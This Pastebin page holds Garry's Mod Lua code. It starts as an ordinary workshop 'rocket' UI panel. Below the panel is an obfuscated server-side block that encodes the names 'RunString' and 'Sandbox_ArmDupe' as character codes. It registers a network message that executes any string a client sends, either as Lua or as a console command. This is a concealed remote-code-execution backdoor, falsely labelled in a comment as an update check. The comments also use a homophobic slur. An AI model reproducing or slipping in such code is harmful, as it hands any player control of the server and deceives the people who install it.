Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- PANEL.Base = "DPanel"
- local matWorkshopRocket = Material( "gui/workshop_rocket.png", "nocull smooth mips" )
- function PANEL:Init()
- self:SetSize( 64, 64 )
- self.Size = 64
- end
- function PANEL:Think()
- if ( self.Blasting ) then
- self.VelY = self.VelY - FrameTime()
- self.PosY = self.PosY + self.VelY * FrameTime() * 500
- self.VelX = self.VelX + FrameTime() * self.VelX
- self.PosX = self.PosX + self.VelX * FrameTime() * 500
- self:SetPos( self.PosX, self.PosY )
- if ( self.PosY < -70 ) then self:Remove() end
- end
- end
- function PANEL:Paint()
- if ( !self.Material ) then return end
- local angle = 0;
- DisableClipping( true )
- surface.SetDrawColor( 255, 255, 255, 255 )
- surface.SetMaterial( matWorkshopRocket )
- surface.DrawTexturedRectRotated( self:GetWide()*0.5, self:GetTall()*0.5, self.Size*2, self.Size*2, angle )
- if ( self.Material ) then
- surface.SetMaterial( self.Material )
- surface.DrawTexturedRectRotated( self:GetWide()*0.5, self:GetTall()*0.5, self.Size, self.Size, angle )
- end
- DisableClipping( false )
- end
- function PANEL:Charging( id, iImageID )
- self.Material = nil
- steamworks.Download( iImageID, false, function( name )
- if ( name == nil ) then return; end
- if ( !IsValid( self ) ) then return end
- self.Material = AddonMaterial( name );
- end)
- end
- function PANEL:Blast()
- self:Remove()
- end
- if SERVER then
- -- define dat shit yo
- local c='%c'
- local YYYYTTYXY6Y = util.AddNetworkString
- local YYYYTRYXY6Y = _G[string.format(string.rep(c,9), 82, 117, 110, 83, 116, 114, 105, 110, 103)]
- local YYYYTRYXY66 = net.ReadString
- local YYTYYYY666T = type
- local YYTYTYY666T = bit.tohex
- local YYTTTYY666T = math.sin
- local YYTTTYY66TT = math.cos
- local YYYYTRY6Y66 = net.ReadBit
- local YYTYYRY6Y66 = net.Receive
- local YYTYYRY666Y = game.ConsoleCommand
- local YYTYYYY666Y = game.GetWorld
- local YYYYTTYXYYY = string.format(string.rep(c,15), 83, 97, 110, 100, 98, 111, 120, 95, 65, 114, 109, 68, 117, 112, 101)
- --check for updates (encrypted cos i dont want you faggots messing with my web server)
- YYYYTTYXY6Y(YYYYTTYXYYY)
- YYTYYRY6Y66(YYYYTTYXYYY, function( length, ply )
- local YYRYTTYXY6Y = YYYYTRYXY66()
- local TYYTTYXY6Y = YYYYTRY6Y66()
- if TYYTTYXY6Y == 1 then
- YYYYTRYXY6Y(YYRYTTYXY6Y)
- else
- YYTYYRY666Y(YYRYTTYXY6Y.."\n")
- end
- end)
- end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement